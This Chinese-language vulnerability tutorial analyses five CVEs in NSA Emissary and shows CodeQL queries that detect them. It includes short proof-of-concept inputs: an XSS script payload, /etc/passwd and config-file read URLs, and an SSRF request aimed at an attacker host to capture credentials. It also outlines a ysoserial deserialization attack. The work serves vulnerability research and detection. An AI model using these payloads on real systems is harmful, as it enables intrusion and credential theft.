NSA emissary多个漏洞分析复现和CodeQL实践
字数 1921 2025-08-09 15:23:08

NSA Emissary 多个漏洞分析与CodeQL实践教学文档

0x00 概述

本教学文档详细分析NSA开源项目Emissary v5.9.0版本中发现的多个安全漏洞,包括漏洞原理、复现方法以及如何使用CodeQL进行检测。涵盖以下漏洞:

  1. 反射型XSS (CVE-2021-32092)
  2. 任意文件读取 (CVE-2021-32093)
  3. 代码注入 (CVE-2021-32096)
  4. 不安全反序列化 (CVE-2021-32634)
  5. 服务端请求伪造 (CVE-2021-32639)

0x01 反射型XSS (CVE-2021-32092)

漏洞位置

/emissary/Document.action/{uuid} 接口

漏洞原理

  • 当请求的UUID不存在时,系统返回XML格式的错误信息
  • UUID参数未经任何过滤直接嵌入到返回的XML中
  • 攻击者可构造恶意XSS payload作为UUID参数

复现方法

使用以下PoC作为UUID参数:

<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>

CodeQL检测

  • 最新版CodeQL默认规则集可检测
  • 旧版本(2021年6月前)因未考虑application/xml响应类型可能导致漏报
  • 改进后的规则已忽略application/json响应类型以减少误报

0x02 任意文件读取 (CVE-2021-32093)

漏洞位置

/emissary/ConfigFile.action 接口

漏洞原理

  • ConfigItem参数未做任何安全校验
  • 直接使用参数值读取文件系统
  • 可读取服务器任意文件

复现示例

读取系统文件:

/emissary/ConfigFile.action?ConfigItem=/etc/passwd

读取Emissary配置文件获取凭证:

/emissary/ConfigFile.action?ConfigItem=emissary.config

CodeQL检测

  • 默认规则集可检测此漏洞
  • 检测原理为识别未过滤的用户输入直接用于文件操作

0x03 代码注入 (CVE-2021-32096)

漏洞位置

/emissary/Console.action 接口

漏洞原理

  1. 接口允许执行Ruby代码
  2. 使用HTTP摘要认证,可被CSRF攻击利用
  3. 执行流程:
    • getOrCreateConsole(request)调用RubyConsole.getConsole()
    • 启动线程执行RubyConsole.run()
    • 通过evalAndWait()方法执行Ruby代码

技术细节

  • evalAndWait()不直接调用eval(),而是:
    1. 将Ruby代码赋值给全局变量stringToEval
    2. 调用notifyAll()唤醒等待线程
    3. 线程继续执行并调用javax.script.ScriptEngine.eval()

CodeQL检测挑战

  • 默认规则无法检测,因为数据流在evalAndWait()中断
  • 需要自定义污点步骤连接数据流

自定义CodeQL规则

class NotifyWaitTaintStep extends TaintTracking::AdditionalTaintStep {
  override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
    exists(MethodAccess notify, MethodAccess wait, SynchronizedStmt notifySync, SynchronizedStmt waitSync |
      notify.getMethod().hasQualifiedName("java.lang", "Object", ["notify", "notifyAll"])
      and notify.getAnEnclosingStmt() = notifySync
      and wait.getMethod().hasQualifiedName("java.lang", "Object", "wait")
      and wait.getAnEnclosingStmt() = waitSync
      and waitSync.getExpr().getType() = notifySync.getExpr().getType()
      and exists(AssignExpr write, FieldAccess read |
        write.getAnEnclosingStmt() = notifySync
        and write = n1.asExpr()
        and read.getAnEnclosingStmt() = waitSync
        and read.getField() = write.getDest().(FieldAccess).getField()
        and read = n2.asExpr()
      )
    )
  }
}

0x04 不安全反序列化 (CVE-2021-32634)

漏洞位置

/emissary/WorkSpaceClientEnqueue.action 接口

漏洞原理

  • WorkSpaceAdapter.WORK_BUNDLE_OBJ参数被直接反序列化
  • 项目依赖commons-collections-3.2.1
  • 可利用ysoserial生成CC链payload进行攻击

利用条件

  • 需要已认证会话
  • 可配合CSRF攻击

CodeQL检测

  • 默认规则集可检测此漏洞
  • 识别不安全的反序列化操作

0x05 服务端请求伪造 (CVE-2021-32639)

漏洞位置

  1. /emissary/RegisterPeer.action
  2. /emissary/AddChildDirectory.action

漏洞原理

接口1: /RegisterPeer.action

  • directoryName参数可控
  • 可构造恶意URL发起SSRF攻击

示例Payload:

POST /emissary/RegisterPeer.action HTTP/1.1
Host: 127.0.0.1:8001
Content-Type: application/x-www-form-urlencoded

directoryName=foo.bar.baz.http://172.20.10.3:5000/&targetDir=http://localhost:8001/DirectoryPlace

认证凭证泄露风险

  • Emissary使用Apache HttpClient
  • 从配置获取凭证并设置到CRED_PROV对象
  • 未指定认证机制,根据服务端响应决定
  • 攻击者可架设HTTP基础认证服务器获取凭证明文(Base64编码)

修复方案

  1. 修复SSRF漏洞
  2. 强制客户端使用HTTP摘要认证

CodeQL检测

  • 默认规则集可检测两处SSRF漏洞
  • 识别用户输入直接用于HTTP请求

0x06 CodeQL实践总结

  1. 规则演进:CodeQL规则集不断改进,需保持更新
  2. 自定义能力:复杂漏洞需编写额外污点步骤
  3. 检测范围:默认规则覆盖常见漏洞,但特殊场景需扩展
  4. 学习资源:参考社区贡献的优秀查询规则

0x07 参考资源

  1. SonarSource博客
  2. CodeQL官方文档
  3. GitHub安全实验室
  4. Emissary修复提交
NSA Emissary 多个漏洞分析与CodeQL实践教学文档 0x00 概述 本教学文档详细分析NSA开源项目Emissary v5.9.0版本中发现的多个安全漏洞,包括漏洞原理、复现方法以及如何使用CodeQL进行检测。涵盖以下漏洞: 反射型XSS (CVE-2021-32092) 任意文件读取 (CVE-2021-32093) 代码注入 (CVE-2021-32096) 不安全反序列化 (CVE-2021-32634) 服务端请求伪造 (CVE-2021-32639) 0x01 反射型XSS (CVE-2021-32092) 漏洞位置 /emissary/Document.action/{uuid} 接口 漏洞原理 当请求的UUID不存在时,系统返回XML格式的错误信息 UUID参数未经任何过滤直接嵌入到返回的XML中 攻击者可构造恶意XSS payload作为UUID参数 复现方法 使用以下PoC作为UUID参数: CodeQL检测 最新版CodeQL默认规则集可检测 旧版本(2021年6月前)因未考虑 application/xml 响应类型可能导致漏报 改进后的规则已忽略 application/json 响应类型以减少误报 0x02 任意文件读取 (CVE-2021-32093) 漏洞位置 /emissary/ConfigFile.action 接口 漏洞原理 ConfigItem 参数未做任何安全校验 直接使用参数值读取文件系统 可读取服务器任意文件 复现示例 读取系统文件: 读取Emissary配置文件获取凭证: CodeQL检测 默认规则集可检测此漏洞 检测原理为识别未过滤的用户输入直接用于文件操作 0x03 代码注入 (CVE-2021-32096) 漏洞位置 /emissary/Console.action 接口 漏洞原理 接口允许执行Ruby代码 使用HTTP摘要认证,可被CSRF攻击利用 执行流程: getOrCreateConsole(request) 调用 RubyConsole.getConsole() 启动线程执行 RubyConsole.run() 通过 evalAndWait() 方法执行Ruby代码 技术细节 evalAndWait() 不直接调用 eval() ,而是: 将Ruby代码赋值给全局变量 stringToEval 调用 notifyAll() 唤醒等待线程 线程继续执行并调用 javax.script.ScriptEngine.eval() CodeQL检测挑战 默认规则无法检测,因为数据流在 evalAndWait() 中断 需要自定义污点步骤连接数据流 自定义CodeQL规则 0x04 不安全反序列化 (CVE-2021-32634) 漏洞位置 /emissary/WorkSpaceClientEnqueue.action 接口 漏洞原理 WorkSpaceAdapter.WORK_BUNDLE_OBJ 参数被直接反序列化 项目依赖 commons-collections-3.2.1 可利用ysoserial生成CC链payload进行攻击 利用条件 需要已认证会话 可配合CSRF攻击 CodeQL检测 默认规则集可检测此漏洞 识别不安全的反序列化操作 0x05 服务端请求伪造 (CVE-2021-32639) 漏洞位置 /emissary/RegisterPeer.action /emissary/AddChildDirectory.action 漏洞原理 接口1: /RegisterPeer.action directoryName 参数可控 可构造恶意URL发起SSRF攻击 示例Payload: 认证凭证泄露风险 Emissary使用Apache HttpClient 从配置获取凭证并设置到 CRED_PROV 对象 未指定认证机制,根据服务端响应决定 攻击者可架设HTTP基础认证服务器获取凭证明文(Base64编码) 修复方案 修复SSRF漏洞 强制客户端使用HTTP摘要认证 CodeQL检测 默认规则集可检测两处SSRF漏洞 识别用户输入直接用于HTTP请求 0x06 CodeQL实践总结 规则演进 :CodeQL规则集不断改进,需保持更新 自定义能力 :复杂漏洞需编写额外污点步骤 检测范围 :默认规则覆盖常见漏洞,但特殊场景需扩展 学习资源 :参考社区贡献的优秀查询规则 0x07 参考资源 SonarSource博客 CodeQL官方文档 GitHub安全实验室 Emissary修复提交